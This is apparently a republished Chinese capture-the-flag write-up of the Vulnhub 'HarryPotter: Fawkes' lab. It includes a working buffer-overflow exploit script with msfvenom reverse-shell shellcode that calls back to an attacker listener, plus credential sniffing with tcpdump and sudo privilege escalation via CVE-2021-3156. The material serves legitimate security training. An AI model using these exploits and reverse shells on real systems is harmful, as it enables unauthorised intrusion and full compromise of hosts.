【Vulnhub靶机】HarryPotter-Fawkes-哈利波特系列靶机-3

这篇具有很好参考价值的文章主要介绍了【Vulnhub靶机】HarryPotter-Fawkes-哈利波特系列靶机-3。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

靶机文档:HarryPotter: Fawkes

下载地址:Download (Mirror)

难易程度:难上难

信息收集

主机发现
 sudo netdiscover -r 192.168.8.0/24

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

端口扫描
 sudo nmap -A -p- 192.168.8.128

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

开放了ftp,web,ssh等服务

访问80端口

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

dirsearch扫描

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

gobuster扫描
gobuster dir -u http://192.168.8.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

尽管使用了两个扫描工具,还是没有什么有用的信息

访问ftp看看有 什么信息

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

ELF是一种文件格式,是Linux的执行文件

赋予该 文件执行权限,,执行后没有反应

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

查看运行端口号

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

ss 是 Socket Statistics 的缩写。ss 命令可以用来获取 socket 统计信息,它显示的内容和 netstat 类似。但  ss 的优势在于它能够显示更多更详细的有关 TCP 和连接状态的信息,而且比 netstat 更快。当服务器的 socket  连接数量变得非常大时,无论是使用 netstat 命令还是直接 cat /proc/net/tcp,执行速度都会很慢。ss 命令利用到了 TCP 协议栈中 tcp_diag。tcp_diag 是一个用于分析统计的模块,可以获得 Linux 内核中第一手的信息,因此 ss  命令的性能会好很多。

-p, –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
-a,all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
-n, –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
-t, –tcp 显示 TCP 协议的 sockets
-u, –udp 显示 UDP 协议的 sockets

发现端口号发端口扫描的时候一样,都是9898

使用nc工具,尝试监听本地9898端口

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

给出的信息和端口扫描的时候得出的信息一样

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

漏洞利用

缓冲区溢出

进行缓冲区溢出测试之前需要关闭ASLR

aslr是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。如今Linux,Windows等主流操作系统都已采用了该技术。

将kali上的ALSR安全机制关闭,该技术会导致地址空间随机化,不便调试

ALSR由 /proc/sys/kernel/randomize_va_space 决定,默认为2

0 - 表示关闭进程地址空间随机化

1 - 表示将mmap的基址,stack和vdso页面随机化。

2 - 表示在1的基础上增加栈(heap)的随机化。

echo 0 > /proc/sys/kernel/randomize_va_space
edb-debugger工具

apt install deb-bebugger安装这个图形化程序调试工具

如果安装不上可以从Github上拉取到本地,再进行编译

安装依赖:

sudo apt-get install        pkg-config 
sudo apt-get install        cmake 
sudo apt-get install        build-essential
sudo apt-get install        libboost-dev
sudo apt-get install        libqt5xmlpatterns5-dev
sudo apt-get install        qtbase5-dev  
sudo apt-get install        qt5-default    
sudo apt-get install        libgraphviz-dev  
sudo apt-get install        libqt5svg5-dev 
sudo apt-get install        libcapstone-dev            
# build and run edb
$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake -DCMAKE_INSTALL_PREFIX=/usr/local/ ..
$ make
$ sudo make install
$ edb

,打开后点击attach功能,通过关键字选择已经跑起来的程序server_hogwarts(前提kali已经启动了server_hogwarts程序),点击开始按钮运行

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

使用Python生成500个A进行一般探测

python -c "print('A'*500)"

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

nc连接访问9898端口,注入生成的500个A

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

发现目标程序崩溃,位置0x41414141出现了错误

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

EIP寄存器存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体命令

msf-pattern工具

寻找缓冲区溢出位置:

使用msf生成500个随机字符串

 msf-pattern_create -l 500

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

重新打开一次那个文件,还有edb,将生成的字符串输入到咒语选择的地方

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

通过报错提示我们得知0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置;
查找该段编码对应的字符串在模式字符串中的偏移量:

msf-pattern_offset -l 500 -q 64413764

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

也就是说从模式字符串中的第113个字符串开始造成了栈溢出

找到偏移位置后,构造反弹shell,要将构造的反弹shell十六进制后放入到ESP中,再让EIP指向ESP,反弹shell被执行

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

找到 jmp esp 指令并记录其地址(0x08049d55

由于机器指令需要反写,转化为16进制

  08049d55---->559d0408---->\x55\x9d\x04\x08(需要写入EIP的内容)

使用Msfvenom构造反弹shell

Msfvenom它是一个是用来生成后门的软件

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.8 LPORT=6868 -b "\x00" -f python

# LHOST:改为 kali 的 IP;
# LPORT:改为监听反弹 shell 的端口号;
# -b "\x00":过滤坏字符(’\0’),避免输入提前终止

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

得出的Payload:

buf =  b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"

构造exp脚本

# exp.py
import struct, socket,sys

buf =  b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"

payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32  + buf
#payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf
try:

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('192.168.8.8', 9898))
    s.send((payload))
    s.close()
except:
    print("Wrong!")
    sys.exit()
   

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

成功拿到shell

docker容器内提权

在harry的目录下查看到.mycreds.txt中有一串疑似密码的字符串Harryp0tter@Hogwarts123,查看是否可以用来ssh登录

22端口下发现无法进入,前面端口探测到2222端口也是ssh服务,尝试在2222端口连接

harry : HarrYp0tter@Hogwarts123

ssh harry@192.168.8.128 -p 2222

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

连接成功第一件事就是看看有没有能够以root省份执行的命令

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

结果发现有所有的权限,而且还有不需要密码

sudo -i,使用root用户的环境变量,跳转到/root,拥有超级管理员权限

sudo -s,使用当前用户的环境变量,不跳转目录;拥有超级管理员权限

查看root目录下

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

tcpdump流量分析

Linux作为网络服务器,特别是作为路由器和网关时,数据的采集和分析是不可少的。TcpDump是Linux中强大的网络数据采集分析工具之一。

    tcpdump可以根据使用者需求对网络上传输的数据包进行捕获的抓包工具,windows平台有wireshark等工具,tcpdump可以将网络中传输的数据包的“包头”全部捕获过来进行分析,其支持网络层、特定的传输协议、数据发送和接收的主机、网卡和端口的过滤,并提供and、or、not等语句进行逻辑组合捕获数据包或去掉不用的信息

根据提示,是要让我们把21端口的流量 监听分析一下,同时,使用ip a发现,这应该不是靶机本体,应该是在一个docker中,根据ip地址进行判断,这个2222端口应该是docker中的ssh,所以我们并没有进入到靶机本体的22端口,

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

监听21端口流量

tcpdump -i eth0 port 21

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

发现 neville用户,密码bL!Bsg3k

连接22端口成功,并且找到了第二个flag

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

再次查看ip,此时已经从docker容器里出来了

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

容器外- sudo漏洞提权

查看sudo 版本

sudo --version

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

网上找出该版本是sudo堆溢出漏洞,漏洞编号:CVE-2021-3156,普通用户可以通过利用此漏洞,在默认配置的 sudo 主机上获取root权限

exp地址:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

在靶机中查看sudo的路径

which sudo 

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

然后修改下载的exp里的SUDO_PATH

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

靶机开启监听,端口6868

nc -lvnp 6868 >  exploit_nss.py

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

kali机访问靶机的6868端口,上传修改好的exp

nc 192.168.8.128 6868 < exploit_nss.py -w 1

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

在靶机上运行exp即可提权成功!

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub

vulnhub-靶机,# 靶机系列,安全,kali,web安全,网络安全,靶机,vulnhub文章来源地址https://www.toymoban.com/news/detail-786779.html

到了这里,关于【Vulnhub靶机】HarryPotter-Fawkes-哈利波特系列靶机-3的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Vulnhub】搭建Vulnhub靶机

    Vulnhub它是一个提供各种网络攻防靶场的平台,里面大部分的环境是要用VMware或者VirtualBox打开运行的。 去vulnhub的官网 https://www.vulnhub.com可以看到各种镜像。 点击某一个进入我们可以看到关于镜像的详细信息,包括:镜像描述、难度等级、下载地址等。 通过下载地址下载完成

    2024年02月05日
    浏览(43)
  • Vulnhub靶机:driftingblues 4

    运行环境:Virtualbox 攻击机:kali(10.0.2.15) 靶机:driftingblues4(10.0.2.20) 目标:获取靶机root权限和flag 靶机下载地址:https://www.vulnhub.com/entry/driftingblues-4,661/ 使用nmap主机发现靶机ip: 10.0.2.20 使用nmap端口扫描发现靶机开放端口: 21、22、80 打开网站没有可利用的功能点,并且

    2024年02月01日
    浏览(46)
  • vulnhub靶机Phineas

    下载地址:https://download.vulnhub.com/phineas/Phineas.ova 主机发现 目标154 端口扫描 端口服务扫描 漏洞扫描 直接访问web 初始页面,我就不信没东西,开扫! 访问一下 访问fuel时候发现url变化了 只能进行拼接url那就试一下凭借主页的文件(index.php) url变成这样了 提示是fuel直接去查

    2024年02月05日
    浏览(36)
  • vulnhub靶机Brainpan

    主机发现 arp-scan -l 端口扫描 nmap --min-rate 10000 -p- 192.168.21.156 服务扫描 nmap -sV -sT -O -p9999,10000 192.168.21.156 这个地方感到了有点不对劲,python起来的一个web端口 漏洞扫描 nmap --script=vuln -p9999,10000 192.168.21.156 意料之中,先去看一下web的内容 这个就是一张图片,但是还是扫个目录看

    2024年02月09日
    浏览(39)
  • vulnhub靶机02-Breakout

    主机发现 arp-scan -l 扫描端口 nmap --min-rate 10000 -p- 192.168.21.143 扫描端口信息 nmap -sV -sT -O -p80,139,445,10000,20000 192.168.21.143 漏洞扫描 nmap --script=vuln -p80,139,445,10000,20000 192.168.21.143 先看网站 什么都没有看看f12 找到点好东西 解码看看 Brainfuck/OoK加密解密 - Bugku CTF 这个应该没用了,再去

    2024年02月10日
    浏览(39)
  • Vulnhub:DerpNStink 1靶机

    kali:192.168.111.111 靶机:192.168.111.130 端口扫描 通过nmap的http-enum脚本发现目标80端口存在wordpress,访问目标网站的wordpress被重定向到http://derpnstink.local,修改hosts文件再访问 通过wpscan枚举出目标存在admin用户 尝试弱口令admin,登录到wordpress后台,在后台发现插件Slideshow存在任意

    2024年02月08日
    浏览(55)
  • vulnhub momentum 靶机复盘

    到学校了 原来的桥接配置要改 这里记录几个点备忘 重新安装驱动VBoxNetLwf.inf 手动安装VBoxNetLwf.inf 不要用virtualbox自带的netlwfinstall rw init=/bin/bash 进去看看网卡配置 一个没什么功能点的web 在main.js下发现opus-details.php 可以传参id 然后会原封不动的展示 可以xss 没啥用 尝试对cook

    2024年02月06日
    浏览(41)
  • vulnhub——Earth靶机

    netdiscover 直接用netdiscover模糊搜索一下主机 可以发现靶机地址为192.168.60.174  80端口返回HTTP400,向下看发现有DNS解析  修改一下hosts文件  再次nmap进行扫描,之前返回HTTP400的页面就没问题了 下面有三行数值  https://terratest.earth.local的页面内容不一样 dirb扫描 http://earth.local、

    2024年02月02日
    浏览(44)
  • Vulnhub: bassamCTF: 1靶机

    kali:192.168.111.111 靶机:192.168.111.210 端口扫描 修改hosts文件 爆破出子域名 welcome 对子域目录爆破 index.php 存在文件读取 查看 /etc/passwd 和 config.php 用 config.php 中的账号密码登录ssh,账号: test ,密码: test123 查看test用户的历史命令发现文件 MySecretPassword MySecretPassword 文件内容

    2024年02月11日
    浏览(37)
  • Vulnhub: Corrosion靶机

    kali:192.168.111.111 靶机:192.168.111.130 端口扫描 目录爆破 blog-post目录下存在两个目录 对archives目录中的randylogs.php进行测试发现存在文件包含 成功包含ssh日志 利用ssh写入webshell到ssh日志文件中,再配合文件包含拿shell 文件包含ssh日志文件执行反弹shell 在/var/backups目录下发现us

    2024年02月09日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包